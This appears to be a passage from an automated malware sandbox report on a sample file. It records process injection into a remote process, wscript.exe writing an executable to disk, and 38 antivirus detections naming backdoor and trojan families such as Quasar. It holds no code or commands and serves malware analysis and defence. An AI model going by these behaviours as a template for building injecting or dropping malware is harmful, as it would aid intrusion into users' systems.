Process injection	Process 2340 resumed a thread in remote process 2432
NtResumeThread Nov. 5, 2021, 9:09 a.m.	thread_handle: 0x00000270 suspend_count: 1 process_identifier: 2432	1	0	0

The process wscript.exe wrote an executable file to disk (1 event)

file	C:\Windows\SysWOW64\wscript.exe

File has been identified by 38 AntiVirus engines on VirusTotal as malicious (38 events)

Lionic	Trojan.Win32.Makop.trQA
Elastic	malicious (high confidence)
DrWeb	BackDoor.QuasarNET.5
MicroWorld-eScan	Trojan.Uztuby.19
FireEye	Generic.mg.d32aed7204ae5bf4
McAfee	Artemis!D32AED7204AE
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
Cybereason	malicious.204ae5
Arcabit	Trojan.Uztuby.19
BitDefenderTheta	Gen:NN.ZemsilF.34266.5q0@aGe@y4ai
Cyren	W32/MSIL_Agent.LQ.gen!Eldorado
Symantec	Trojan.Gen.MBT
ESET-NOD32	a variant of MSIL/Spy.Agent.DEK
APEX	Malicious
Paloalto	generic.ml
ClamAV	Win.Malware.Uztuby-9848412-0
Kaspersky	UDS:Backdoor.MSIL.LightStone.gen
BitDefender	Trojan.GenericKD.37953012
Avast	Win32:TrojanX-gen [Trj]
Tencent	Msil.Trojan.Uztuby.Wofq
Ad-Aware	Trojan.MSIL.Basic.8.Gen
Emsisoft	Trojan.Uztuby.19 (B)
VIPRE	Trojan.Win32.Generic!BT
TrendMicro	TROJ_GEN.R002C0DK421
McAfee-GW-Edition	BehavesLike.Win32.Generic.th
Sophos	Mal/Generic-R
Avira	HEUR/AGEN.1144842
Kingsoft	Win32.Hack.Undef.(kcloud)
Microsoft	Trojan:MSIL/Stelega.DN!MTB
GData	Win32.Trojan.BSE.EKK90M
Cynet	Malicious (score: 100)
ALYac	Trojan.MSIL.Basic.8.Gen
MAX	malware (ai score=80)
Malwarebytes	Backdoor.Quasar
SentinelOne	Static AI - Malicious SFX
Fortinet	MSIL/Agent.DEK!tr.spy
AVG	Win32:TrojanX-gen [Trj]

5334_1636030207_6453.exe

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